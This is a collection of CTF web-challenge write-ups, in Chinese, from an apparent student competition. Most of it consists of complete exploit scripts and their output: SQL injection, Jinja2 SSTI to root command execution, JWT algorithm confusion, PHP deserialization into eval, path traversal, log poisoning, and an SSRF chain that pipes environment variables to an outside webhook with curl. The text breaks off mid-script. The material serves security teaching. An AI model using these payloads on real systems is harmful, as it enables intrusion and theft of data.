面向校内新生及社会各界 ctfer,两人一队。赛题覆盖 Web、Pwn、Reverse、Crypto、Misc 五大方向,难度梯度递增,兼顾教学与实战。
本次比赛分为校内赛道和社会赛道两个赛道。
校内赛道设有奖项奖励,社会赛道不设置奖项奖励。
报名时间:10月18日后开放
赛事网站: www.ctfplus.cn
比赛时间:10月24日 18:00–10月30日 18:00
WEB Stage1 云栈商城
「云栈商城」是一家刚上线的电商网站,经营者同时搭建了一套内部运营后台,用于管理商户与商品上下架。
碰星团队被委托对这套系统做一次完整审计。
可是N1在指挥Fen进行工作的时候将Fen批评了一顿
Fen很伤心在操作时一不小心将商品信息删掉了
这下好了Fen又要挨骂了
思路
Cookie 里的 role 可以随便改,但后台鉴权使用参数化查询且只查 admin_users,伪造 role=admin 无效。需要先通过 /profile 的 UNION 注入拖出真实管理员账号密码。
1 ' UNION SELECT id,username,password,role FROM admin_users-- -
查询结果固定四列,密码落在 nickname 位置直接显示。用真实账密重编码 Cookie 后进入后台,再在 /admin/offline 提交 SSTI:
1 {{cycler.__init__.__globals__.__builtins__.__import__('os').popen('env').read()}}
这里使用的是裸 jinja2.Template().render(),没有 Flask 的 config/request 上下文,但 cycler 等 Jinja2 内置全局对象一定存在。
过程
完整利用脚本
下面的脚本会自动完成“登录演示账号 → UNION 拖管理员账密 → 伪造后台 Cookie → 访问 /admin/offline 执行 SSTI → 提取 Flag”的全过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import base64, json, re, html, requestsBASE = "http://xxx" def enc (obj ): return base64.b64encode( json.dumps(obj, ensure_ascii=False ).encode() ).decode() def make_cookie (username, password, role="admin" ): return enc({ "uid" : 1 , "username" : username, "nickname" : "x" , "password" : password, "role" : role, "login_at" : "2026-01-01 00:00:00" , }) def http (path, ck=None , method="GET" , data=None ): headers = {"Cookie" : "user_info=" + ck} if ck else {} return requests.request( method, BASE + path, headers=headers, data=data, allow_redirects=False , timeout=20 ) r = requests.post( BASE + "/login" , data={"username" : "guest" , "password" : "guest123" }, allow_redirects=False , timeout=20 ) print ("[*] guest login:" , r.status_code)sqli = "' UNION SELECT id,username,password,role FROM admin_users-- -" r = http("/profile" , make_cookie(sqli, "x" )) rows = re.findall( r'<dt class="col-4">(.*?)</dt><dd class="col-8">(.*?)</dd>' , r.text, re.S ) info = dict (rows) print ("[*] leaked rows:" , rows)admin_user, admin_pass = info["用户名" ], info["昵称" ] print ("[+] admin:" , admin_user, admin_pass)ck = make_cookie(admin_user, admin_pass) r = http("/admin" , ck) print ("[*] /admin:" , r.status_code, "len:" , len (r.text))assert "运营后台" in r.textssti = ( "{{cycler.__init__.__globals__.__builtins__" ".__import__('os').popen('env').read()}}" ) r = http("/admin/offline" , ck, "POST" , {"expr" : ssti}) m = re.search( r'<pre class="result[^"]*">(.*?)</pre>' , r.text, re.S ) out = html.unescape(m.group(1 )) if m else r.text print (out)flag = re.search(r"ZeroGFlag\{[^}]+\}" , out) print ("[+] FLAG:" , flag.group(0 ) if flag else "not found" )
运行结果的关键部分:
1 2 3 4 5 6 7 8 [*] guest login: 302 [*] leaked rows: [('用户 ID', '1'), ('用户名', 'shopadmin_f65198'), ('昵称', 'coJvOuDBxEF#GhW@'), ('角色', 'admin')] [+] admin: shopadmin_f65198 coJvOuDBxEF#GhW@ [*] /admin: 200 len: 4248 ... ZeroG_2026_FLAG=ZeroGFlag{a6d34197-9278-49d7-a264-c5e0b806c87e} ... [+] FLAG: ZeroGFlag{a6d34197-9278-49d7-a264-c5e0b806c87e}
漏洞链路
整条利用链并不复杂,但中间有一个容易误判的地方:Cookie 里的 role 字段可以随便改,但后台并不信任它。
前台使用演示账号 guest / guest123 登录,服务端下发 user_info Cookie。该 Cookie 是未签名的 Base64(JSON),可以直接解码和重新编码。
/profile 页面在查询当前用户资料时,把 Cookie 里的 username 直接拼进了 SQL,存在 UNION 注入。
后台鉴权 check_admin() 使用的是参数化查询,并且只查 admin_users 表。伪造 Cookie 里的 role=admin 或 UNION 伪造一个 admin 角色都进不了后台,必须拿到真实的管理员账号和密码。
通过 /profile 的 UNION 注入把 admin_users 表的账号密码拖出来,再用真实账密重新编码 Cookie,即可通过后台鉴权。
后台 /admin/offline 的“批量操作执行框”会先调用 yaml.unsafe_load(),再把结果交给 Jinja2 的 Template().render() 渲染,形成 SSTI,最终可执行系统命令并读取环境变量里的 Flag。
Flag
ZeroGFlag{a6d34197-9278-49d7-a264-c5e0b806c87e}
Stage1 — FlaskLogin
初始账号为guest:guest123,如何让站点认为你是管理员呢?
一个用 Flask 写的站点。普通用户登录后什么也看不到, 但据说管理员能看到一段话。 注册功能?不存在的
思路
Flask 默认 session 是客户端 Cookie,格式为 base64url(JSON).base64url(时间戳).base64url(HMAC),只签名不加密。把第一段解码得到 {"user":"guest"},改成 admin 后还需要用 SECRET_KEY 重新签名。
题目名和登录页标题都暗示弱密钥,用 flask-unsign 加常见字典爆破得到 ctf2026。
过程
完整利用脚本
将下面的脚本保存为 exp.py,安装好 requests 和 flask 后直接运行即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import reimport requestsfrom flask import Flaskfrom flask.sessions import SecureCookieSessionInterfaceBASE = "http://xxx" SECRET_KEY = "ctf2026" s = requests.Session() r = s.post( f"{BASE} /login" , data={"username" : "guest" , "password" : "guest123" }, allow_redirects=False , ) print ("[*] 原始 session:" , s.cookies.get("session" ))app = Flask(__name__) app.secret_key = SECRET_KEY serializer = SecureCookieSessionInterface().get_signing_serializer(app) forged = serializer.dumps({"user" : "admin" }) print ("[*] 伪造 session:" , forged)r = requests.get(f"{BASE} /" , cookies={"session" : forged}) print (r.text)flag = re.search(r"flag\{[^}]+\}" , r.text) if flag: print ("[+] Flag:" , flag.group(0 ))
脚本输出中的关键部分:
1 2 3 [*] 原始 session: eyJ1c2VyIjoiZ3Vlc3QifQ.atyGRQ.7xH42bKg_GnJ7kn0sORbOQTGscQ [*] 伪造 session: eyJ1c2VyIjoiYWRtaW4ifQ.atyGlA.NNQPpW1gbfhSd62aKsoOkRgqnOQ [+] Flag: flag{fl4sk_s3ss10n_1s_n07_s3cur3}
最终拿到 flag:
1 flag{fl4sk_s3ss10n_1s_n07_s3cur3}
Flag
flag{fl4sk_s3ss10n_1s_n07_s3cur3}
Stage1 — Orbital Suply
有人抱怨输入某些奇怪字符时页面会报错……
聪明的你能否从网站中挖掘到什么呢?
思路
{{7*7}} 返回 49,{{7*'7'}} 返回 7777777,确认是 Jinja2。没有对 __class__、__globals__ 做黑名单。
利用 Jinja2 默认注入的 cycler,其 __init__.__globals__ 指向 jinja2.utils 的模块字典,其中已导入 os:
1 {{cycler.__init__.__globals__.os.popen('printenv ZEROG_2026_FLAG').read()}}
过程
漏洞成因
拿到 RCE 后读取 /app/app.py,核心代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 @app.route("/search" ) def search (): q = flask.request.args.get("q" , "" ).strip() matched = [p for p in PRODUCTS if q == "" or q.lower() in p["name" ].lower()] result_count = len (matched) grid = product_grid(matched, hl=q) injected_head = flask.render_template_string( f""" <div class="crumb"> <a href="/">首页</a><span class="arrow">›</span> <span>全部装备</span><span class="arrow">›</span> <b>搜索结果</b> </div> <section class="result-hero"> <p class="kicker">{STORENAME} / Search Results</p> <h2 class="line">您当前正在浏览 <em>{q} </em> 的搜索结果</h2> <p class="note">KEYWORD 按原样回显 · 命中 <b>{result_count} </b> 件商品 · 排序:默认</p> </section> ... """ ) return flask.render_template( "search.html" , store=STORENAME, tagline=TAGLINE, q=q, injected_head=Markup(injected_head), grid=Markup(grid), result_count=result_count, total=len (PRODUCTS), )
问题出在两处:
q 被直接拼进了 render_template_string() 的模板字符串。模板引擎会先解析整段字符串,再执行其中的 {{ ... }} 和 {% ... %},所以用户输入变成了模板代码,而不是模板变量。
渲染结果通过 Markup(injected_head) 交给外层模板,Markup 会把这个字符串标记为“已经安全”,因此外层模板不会再对它做 HTML 转义。
搜索页 <title> 里的 q 走的是普通模板变量,自动转义仍然生效,所以那部分只会显示字面量;真正被求值的是 injected_head 里的 <em>{q}</em>。
构造利用链
Jinja2 默认会向模板上下文注入一些全局对象,其中 cycler 是 jinja2.utils.Cycler 类的实例。它的 __init__ 是一个普通的 Python 函数,函数的 __globals__ 指向该函数所在模块的全局命名空间,也就是 jinja2.utils 的模块字典。这个模块里已经导入了 os,于是可以直接拿到命令执行能力:
1 {{cycler.__init__.__globals__}}
回显中可以看到:
1 {'__name__': 'jinja2.utils', ..., 'os': <module 'os' (frozen)>, ...}
直接执行 id:
1 {{cycler.__init__.__globals__.os.popen('id').read()}}
返回:
1 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
当前已经是 root 权限。接着查看根目录和题目源码:
1 2 3 {{cycler.__init__.__globals__.os.popen('ls -la /').read()}} {{cycler.__init__.__globals__.os.popen('ls -la /app').read()}} {{cycler.__init__.__globals__.os.popen('cat /app/app.py').read()}}
源码注释里明确说明,flag 不在源码中,而是通过进程环境变量注入:
读取环境变量:
1 {{cycler.__init__.__globals__.os.popen('printenv').read()}}
在输出中找到:
1 ZEROG_2026_FLAG=flag{ac763efc-33a7-4d36-a4e3-6457c3c1016b}
也可以直接指定变量名读取:
1 {{cycler.__init__.__globals__.os.popen('printenv ZEROG_2026_FLAG').read()}}
Flag
flag{ac763efc-33a7-4d36-a4e3-6457c3c1016b}
Stage1—你胆子真是肥嘟嘟的
小袋鼠已经放话了:“就凭你?胆子倒是挺肥嘟嘟的嘛!”
flag格式:ZeroG{…}
思路
递归合并只有在目标对象中已存在同名字段 且值为对象时才会继续向下。用户对象上真实存在 __class__,它指向所有实例共享的类级策略对象。因此:
1 { "__class__" : { "is_admin" : true } }
会让合并进入类级策略并覆盖 is_admin。直接提交 {"is_admin":true} 或 {"profile":{"__class__":...}} 都只会在当前层新增普通字段,不会影响权限。
过程
完整利用脚本
使用 requests.Session() 自动保存并携带 PHPSESSID,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import reimport requestsBASE = "http://xxx" s = requests.Session() s.get(f"{BASE} /profile" , timeout=10 ) payload = { "__class__" : { "is_admin" : True } } r = s.post(f"{BASE} /api/profile" , json=payload, timeout=10 ) print ("[*] POST /api/profile ->" , r.status_code)print (r.text)r = s.get(f"{BASE} /admin" , timeout=10 ) print ("[*] GET /admin ->" , r.status_code)m = re.search(r"ZeroG\{[^}]+\}" , r.text) if m: print ("[+] FLAG:" , m.group(0 )) else : print ("[-] 未找到 flag,当前页面长度:" , len (r.text))
在 WSL 中运行:
输出示例:
1 2 3 4 [*] POST /api/profile -> 200 {"status":"success","message":"个人资料已更新","changed":["__class__"],"user":{"username":"contestant","nickname":"黄色袋鼠","bio":"你的胆子真是肥嘟嘟的","role":"超级管理员","admin":true,"profile":{"signature":"你的胆子真是肥嘟嘟的"}}} [*] GET /admin -> 200 [+] FLAG: ZeroG{180939c9-a4d0-452d-817a-87d7c5876bea}
Flag
ZeroG{180939c9-a4d0-452d-817a-87d7c5876bea}
Stage1—米米的奇幻之旅
实验室来了一位新成员———米米,她是一只聪明又可爱的小茂密。
听说,只要成功通过所有考验,就能获得米米最喜欢的神秘猫粮!
flag格式:flag{…}
思路
第一关:$_GET['step1']=='2026',弱比较,2026 或 2026e0 均可;
第二关:str_replace('flag','',$key) === 'flag',用 fflaglag 让替换后折叠出 flag;
第三关:伪造 X-Forwarded-For: 127.0.0.1;
第四关:Cookie: admin=1;
第五关:Accept-Language: miao;
第六关:$pwd==0 && strlen($pwd)>0,用 0e1。
服务端是顺序检查、遇到第一个不满足即停,因此最终请求必须把六关条件一起带上。
过程
完整利用脚本
把六关条件放进同一次请求即可。脚本用 requests 发送,注意 params 和 headers 都要带全:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import reimport requestsBASE = "http://xxx/" params = { "step1" : "2026" , "step2" : "fflaglag" , "step3" : "1" , "step4" : "1" , "step5" : "1" , "pwd" : "0e1" , } headers = { "X-Forwarded-For" : "127.0.0.1" , "Cookie" : "admin=1" , "Accept-Language" : "miao" , } r = requests.get(BASE, params=params, headers=headers, timeout=10 ) r.raise_for_status() m = re.search(r"flag\{[^}]+\}" , r.text) if m: print ("[+] FLAG:" , m.group(0 )) else : title = re.search(r"<title>(.*?)</title>" , r.text, re.S) print ("[-] 未拿到 flag,当前页面:" , title.group(1 ) if title else "unknown" )
在 WSL 中运行:
输出:
1 [+] FLAG: flag{77b5f5dc-ae30-455a-ac4c-376956308e78}
如果习惯用 curl(在 WSL 的 bash 中执行),等价命令为:
1 2 3 4 5 curl -s \ 'http://xxx/?step1=2026&step2=fflaglag&step3=1&step4=1&step5=1&pwd=0e1' \ -H 'X-Forwarded-For: 127.0.0.1' \ -H 'Cookie: admin=1' \ -H 'Accept-Language: miao'
Flag
flag{77b5f5dc-ae30-455a-ac4c-376956308e78}
Stage 2 - 企业级综合管理后台
某大型企业内部管理系统的测试环境对外开放,包含公告通知、员工通讯录、系统监控与运维诊断等模块,认证采用 JWT。
Fen表示这可真是一个好机会,让我看看这个企业平时都在干嘛吧。体验了一下后,只看到了文件。
Fen大失所望,希望你们来帮助他找到好东西。
演示账号 zhangsan / password123
思路
普通用户 JWT 的 HS256 密钥可爆破为 secret,但把 role 改成 admin 只能骗过 /api/me 和前端菜单,管理接口仍然 403。
真正的鉴权走另一套 key。/jwks.json 暴露了 kid=ops-console-2024 的 RSA 公钥。利用 JWT 算法混淆:把 header 的 alg 改为 HS256,用 PEM 格式的公钥字符串本身 作为 HMAC 密钥签名。服务端若拿同一公钥做 HS256 校验,就会认为签名合法。
拿到运维 token 后,/api/system/diag 将 target 直接拼进 ping -c 3 <target>,用分号即可注入命令。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import base64import hashlibimport hmacimport jsonimport timeimport requestsfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives.asymmetric import rsaBASE = "http://xxx" def b64d (s ): return base64.urlsafe_b64decode(s + "=" * (-len (s) % 4 )) def b64e (b ): return base64.urlsafe_b64encode(b).rstrip(b"=" ) jwks = requests.get(BASE + "/jwks.json" , timeout=15 ).json() key = jwks["keys" ][0 ] n = int .from_bytes(b64d(key["n" ]), "big" ) e = int .from_bytes(b64d(key["e" ]), "big" ) public_key = rsa.RSAPublicNumbers(e, n).public_key() pem = public_key.public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo, ) now = int (time.time()) header = {"alg" : "HS256" , "kid" : key["kid" ], "typ" : "JWT" } payload = {"sub" : "zhangsan" , "role" : "admin" , "iat" : now, "exp" : now + 3600 } h = b64e(json.dumps(header, separators=("," , ":" )).encode()) p = b64e(json.dumps(payload, separators=("," , ":" )).encode()) sig = b64e(hmac.new(pem, h + b"." + p, hashlib.sha256).digest()) token = (h + b"." + p + b"." + sig).decode() s = requests.Session() s.cookies.set ("auth_token" , token) r = s.post(BASE + "/api/system/diag" , json={ "command" : "ping" , "target" : "127.0.0.1; cat /flag" , }, timeout=20 ) print (r.status_code)print (r.text)
最终 flag:
1 ZeroGFlag{d26b0f3b-d9f1-4006-a75e-7953e291c9a2}
构造 ops token
把 JWKS 里的 n、e 还原成 RSA 公钥,再导出成 PEM。然后故意把 JWT header 的 alg 写成 HS256,用 PEM 格式的公钥字符串本身 作为 HMAC-SHA256 的 key 去签名。
服务端如果拿着同一个公钥做 HS256 校验,就会认为签名合法;而 header 里的 kid 选择的是 ops-console-2024 对应的公钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import base64import hashlibimport hmacimport jsonimport timeimport requestsfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives.asymmetric import rsaBASE = "http://xxx" def b64d (s ): return base64.urlsafe_b64decode(s + "=" * (-len (s) % 4 )) def b64e (b ): return base64.urlsafe_b64encode(b).rstrip(b"=" ) jwks = requests.get(BASE + "/jwks.json" , timeout=15 ).json() key = jwks["keys" ][0 ] n = int .from_bytes(b64d(key["n" ]), "big" ) e = int .from_bytes(b64d(key["e" ]), "big" ) public_key = rsa.RSAPublicNumbers(e, n).public_key() pem = public_key.public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo, ) now = int (time.time()) header = { "alg" : "HS256" , "kid" : key["kid" ], "typ" : "JWT" , } payload = { "sub" : "zhangsan" , "role" : "admin" , "iat" : now, "exp" : now + 3600 , } h = b64e(json.dumps(header, separators=("," , ":" )).encode()) p = b64e(json.dumps(payload, separators=("," , ":" )).encode()) sig = b64e(hmac.new(pem, h + b"." + p, hashlib.sha256).digest()) token = (h + b"." + p + b"." + sig).decode() print (token)
把生成的 token 放进 auth_token Cookie:
1 2 s = requests.Session() s.cookies.set ("auth_token" , token)
此时再访问 /api/system/diag,就不会再出现“内部服务令牌无效或已过期”。
Flag
ZeroGFlag{d26b0f3b-d9f1-4006-a75e-7953e291c9a2}
Stage2 — Can’t see the result? Just take it out
可手动添加注入命令分隔符以确保解析准确
什么叫开放接口只有内部能访问?你开放了个寂寞?!
别急,冷静下来想想,真的只能内部访问吗?
思路
主站黑名单只是 ["127.0.0.1", "localhost", "0.0.0.0"] 的字符串包含,用 127.1、2130706433、0x7f000001 等等价写法即可绕过,构成盲 SSRF。
内部命令模板是 echo Debug: <cmd>,直接传 id 只会被 echo,需要先用 ; 结束 echo:
主站和内部 API 都有 3 秒超时,外带命令必须在 3 秒内结束。内网容器可出网,用 (env) | curl -m 2 -X POST --data-binary @- <webhook> 把环境变量带出。
过程
完整利用代码
下面的脚本会自动创建 Webhook token、构造 SSRF 请求、执行命令并取回输出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import sysimport timeimport urllib.parseimport requestsBASE = "http://xxx" def make_webhook (): r = requests.post("https://webhook.site/token" , json={}, timeout=30 ) r.raise_for_status() uuid = r.json()["uuid" ] return uuid, "https://webhook.site/" + uuid def latest_requests (uuid ): r = requests.get( "https://webhook.site/token/%s/requests?sorting=newest" % uuid, timeout=30 , ) r.raise_for_status() return r.json().get("data" , []) def exfil (uuid, shell_cmd, wait=2.0 ): payload = ( "x;(" + shell_cmd + ") | curl -m 2 -s -X POST --data-binary @- " "'https://webhook.site/%s'" % uuid ) ssrf_url = ( "http://127.1:5001/api/debug?cmd=" + urllib.parse.quote(payload, safe="" ) ) requests.get(BASE + "/compare" , params={"url" : ssrf_url}, timeout=10 ) time.sleep(wait) data = latest_requests(uuid) return data[0 ].get("content" , "" ) if data else "" if __name__ == "__main__" : shell_cmd = " " .join(sys.argv[1 :]) or "id; env | sort" uuid, _ = make_webhook() print ("[*] webhook:" , uuid) out = exfil(uuid, shell_cmd) print ("=" * 60 ) print (out) print ("=" * 60 ) for line in out.splitlines(): if "flag{" in line: print ("[+] FLAG:" , line.strip())
运行:
1 python3 solve.py "id; env | sort | grep -i flag"
输出:
1 2 3 4 5 6 7 [*] webhook: 0c448ab3-8e18-44fc-a9b4-b355da2c66c7 ============================================================ uid=0(root) gid=0(root) groups=0(root) ZEROG_2026_FLAG=flag{0b03d485-aa8e-4d30-88d4-c5289be00a6a} ============================================================ [+] FLAG: ZEROG_2026_FLAG=flag{0b03d485-aa8e-4d30-88d4-c5289be00a6a}
Flag
flag{0b03d485-aa8e-4d30-88d4-c5289be00a6a}
Stage2 — MagicInvoker
来学习魔术方法,成为魔法少女/少年吧!
思路
最短链是 Invoker:
1 public function __destruct ( ) { eval ($this ->code); }
code 是 public 属性,序列化时直接赋值即可,不需要经过 __construct()。unset($obj) 会让析构函数在输出缓冲关闭前执行,eval 的输出会被 ob_get_clean() 收集到 JSON 的 output 字段。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import jsonimport reimport requestsURL = "http://xxx/" def invoker (code: str ) -> str : """把 PHP 代码包装成 Invoker 对象的序列化字符串。""" return 'O:7:"Invoker":1:{s:4:"code";s:%d:"%s";}' % (len (code.encode()), code) php = r''' foreach (getenv() as $k => $v) { if (preg_match('/(^|_)FLAG$/i', $k)) { echo $k . "=" . $v . "\n"; } } ''' resp = requests.post(URL, data={"data" : invoker(php)}, timeout=10 ) resp.raise_for_status() result = resp.json() print (result["output" ])m = re.search(r"flag\{[^}]+\}" , result["output" ]) if m: print ("[+] flag =" , m.group(0 )) else : print ("[-] flag not found" )
运行结果:
1 2 3 4 ZEROG_2026_FLAG=flag{773f73a0-851b-41f2-b90f-cdc2efcb966c} 对象已创建并销毁 —— 魔术方法副作用已执行。 [+] flag = flag{773f73a0-851b-41f2-b90f-cdc2efcb966c}
也可以直接使用最短 payload:
1 O:7:"Invoker":1:{s:4:"code";s:31:"echo getenv("ZEROG_2026_FLAG");";}
返回:
1 { "ok" : true , "output" : "flag{773f73a0-851b-41f2-b90f-cdc2efcb966c}对象已创建并销毁 —— 魔术方法副作用已执行。\n" }
Invoker:最短的一条链
Invoker 的 __destruct() 就是现成的命令执行入口:
1 2 3 public function __destruct ( ) { eval ($this ->code); }
code 是 public 属性,反序列化时可以直接赋值,不需要调用 __construct()。所以最短的 POP 链只有一环:
1 unserialize() -> Invoker 对象 -> unset($obj) -> Invoker::__destruct() -> eval($code)
序列化格式为:
1 O:7:"Invoker":1:{s:4:"code";s:<字节长度>:"<PHP 代码>";}
字段含义:
O:7:"Invoker":对象,类名 Invoker 长度为 7。
:1::对象有 1 个属性。
s:4:"code":属性名 code,字符串长度 4。
s:<长度>:"...":属性值,长度必须按字节计算。
最后的 } 结束对象。
例如执行 echo "HELLO";:
1 O:7:"Invoker":1:{s:4:"code";s:13:"echo "HELLO";";}
这里的 s:13 对应 echo "HELLO"; 的 13 个字节。序列化格式内部不需要用反斜杠转义双引号,解析器是按声明的长度读取字符串的。
POST 之后返回:
1 { "ok" : true , "output" : "HELLO对象已创建并销毁 —— 魔术方法副作用已执行。\n" }
HELLO 出现在固定提示语之前,说明 eval 的输出被 ob_start() 捕获,并且 unset($obj) 确实提前触发了析构函数。
Flag
flag{773f73a0-851b-41f2-b90f-cdc2efcb966c}
Stage2—ZeroG_2026
突破层层检查,拿到藏在最深处的 Flag
flag格式:ZeroG{…}
思路
preg_match('/^ZeroG 2026!$/', $zero) 默认 $ 匹配末尾换行之前的位置,传 ZeroG 2026!\n 可通过,同时 $zero !== 'ZeroG 2026!'。只需 \n,不要 \r\n。
intval("2020e4") = 2020 < 2026,但数值上下文中 "2020e4" + 4 = 20200004 > 2030。
两个不同二进制串的 MD5 相同(碰撞样本),且 POST 参数名需为 Welcome__ctf.2026。PHP 会把点替换为下划线,但用 Welcome_[ctf.2026 可让 [ 被替换成 _,后续的点不再处理,最终得到正确的键名。
eval 中读取 /flag,根目录下的 flag.php 是空的。
过程
完整利用脚本
下面的脚本把四层利用串在一起,使用 requests 发送带二进制 MD5 碰撞样本的 POST 请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsBASE = "http://xxx/" a = bytes .fromhex( "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518" "afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2" ) b = bytes .fromhex( "4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518" "afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2" ) params = { "zero" : "ZeroG 2026!\n" , "xp" : "2020e4" , } data = [ ("Welcome_[ctf.2026" , a), ("mm" , b), ("code" , "echo 'FLAG='.file_get_contents('/flag');" ), ] r = requests.post(BASE, params=params, data=data, timeout=20 ) print (r.text[r.text.rfind("</code>" ) + 7 :])
运行结果:
1 Welcome to ZeroG 2026 challenge & Step 1 passed!<br>Step 2 passed!<br>Step 3 passed!<br>FLAG=ZeroG{e757d74b-cfe0-4da6-a321-843814093adf}
如果环境重启导致 Flag 变化,只需要重新执行脚本,读取 /flag 即可得到当前实例的 Flag。
进入 eval 并定位真正的 Flag
通过前三层后,代码执行:
1 2 $code = $_POST ['code' ];eval ($code );
code 没有任何过滤,直接就是代码执行。
不过 Web 根目录下的 flag.php 内容为空:
所以 include_once('flag.php') 并不会给出 Flag,$flag 也不存在。真正的 Flag 被放在容器根目录:
该文件权限为 -rw-r--r--,Web 进程可读。因此可以直接用 PHP 读取:
1 echo 'FLAG=' .file_get_contents ('/flag' );
也可以执行系统命令:
最终得到:
1 ZeroG{e757d74b-cfe0-4da6-a321-843814093adf}
Flag
ZeroG{e757d74b-cfe0-4da6-a321-843814093adf}
Stage2—史迪仔的文件预览器
史迪仔有一个文件预览器,据说里面收藏着许多不为人知的小秘密。
flag格式:flag{…}
思路
过滤逻辑是 str_replace('../', '', $file),只替换一次且不重新检查。构造 ....//:
str_replace 删掉中间的 ../ 后,剩下的字符重新拼成 ../,于是:
1 ....//README.txt -> ../README.txt
最终路径为 /var/www/html/files/../README.txt。Apache 的 403 只限制 HTTP 直接访问,file_get_contents() 从本地文件系统读取不受影响。README 提示敏感文件在 /secret/ 下,同样读取 ....//secret/flag.txt。
过程
自动化利用脚本
下面是使用 Python requests 的完整脚本。outputHtml 是经过 HTML 转义后的内容,因此读取后用 html.unescape() 还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import htmlimport requestsBASE = "http://xxx" def preview (file_name: str ) -> str : response = requests.get( f"{BASE} /preview.php" , params={ "file" : file_name, "format" : "json" , }, timeout=10 , ) response.raise_for_status() data = response.json() if not data.get("ok" ): raise RuntimeError(data.get("outputHtml" , "read failed" )) return html.unescape(data["outputHtml" ]) def bypass_path (path: str ) -> str : return "....//" + path.lstrip("/" ) if __name__ == "__main__" : print ("[+] README.txt" ) print (preview(bypass_path("README.txt" ))) print ("[+] secret/flag.txt" ) print (preview(bypass_path("secret/flag.txt" )))
运行结果:
1 2 3 4 5 6 7 8 9 10 11 [+] README.txt Stitch File Preview System Public files are stored in /files/. For administrators: Sensitive files are stored in /secret/. [+] secret/flag.txt flag{fe827612-83ef-42c5-b32f-adfd1ca9bb1b}
漏洞定位
尝试用 ../ 读取上级目录时,服务端统一返回:
1 2 3 4 { "ok" : false , "outputHtml" : "File not found." }
这说明程序对 ../ 做了过滤,但过滤方式可能并不严格。利用路径穿越的常见变体 ....// 测试:
1 /preview.php?file=....//README.txt&format=json
成功读到:
1 2 3 4 5 6 7 Stitch File Preview System Public files are stored in /files/. For administrators: Sensitive files are stored in /secret/.
同时从响应中的 leadHtml 可以看到,程序实际处理的文件名已经变成了:
说明 ....// 成功绕过了过滤。
Flag
flag{fe827612-83ef-42c5-b32f-adfd1ca9bb1b}
stage 2 - 文档管理系统
某大型企业的「文档管理系统」测试环境被意外暴露在公网,提供在线文档浏览与预览功能,界面简洁、看起来人畜无害,但是真的是这样吗?
N1对此表示不服,碰星安全团队希望你在不暴露自己的前提下完成一次完整的渗透测试(给那个企业张张记性)提醒一下公网很危险
演示账号 zhangsan / password123
思路
index.php 中的 cmd 参数和 WAF 都是干扰项,run_maintenance_command() 从未被调用。真正的漏洞是 include($target):只要目标内容含 PHP 标签就会被执行。
先通过 php://filter/convert.base64-encode/resource=index.php 读取源码,确认日志路径;再把 PHP 代码写进 User-Agent,Nginx 会原样记录到访问日志;最后 include 日志文件并传入 x 参数执行。
/flag 权限为 400、属主 root,www-data 无法直接读;但 /entrypoint.sh 可读,说明 flag 由环境变量 ZeroG_2026_FLAG 注入且仍留在 Apache 进程环境中,执行 env 即可。
过程
完整利用脚本
下面的脚本把源码读取、日志投毒、命令执行和 flag 提取串在一起。每次都生成一个新的随机标记,避免日志里历史命令的输出干扰结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import base64import reimport sysimport uuidimport requestsimport urllib3urllib3.disable_warnings() sys.stdout.reconfigure(encoding="utf-8" ) BASE = "http://xxx/" LOG = "/var/log/nginx/access.log" s = requests.Session() s.headers.update({"User-Agent" : "Mozilla/5.0" }) r = s.get( BASE + "index.php" , params={"file" : "php://filter/convert.base64-encode/resource=index.php" }, timeout=15 , ) src = base64.b64decode(r.text).decode("utf-8" , "replace" ) print ("[+] index.php 源码长度:" , len (src))print (src)s.headers.update({"User-Agent" : "<?php system($_GET['x']); ?>" }) s.get(BASE, timeout=15 ) s.headers.update({"User-Agent" : "Mozilla/5.0" }) def run (cmd ): mark = "Z" + uuid.uuid4().hex [:12 ] payload = f"echo {mark} S; {cmd} ; echo {mark} E" r = s.get( BASE + "index.php" , params={"file" 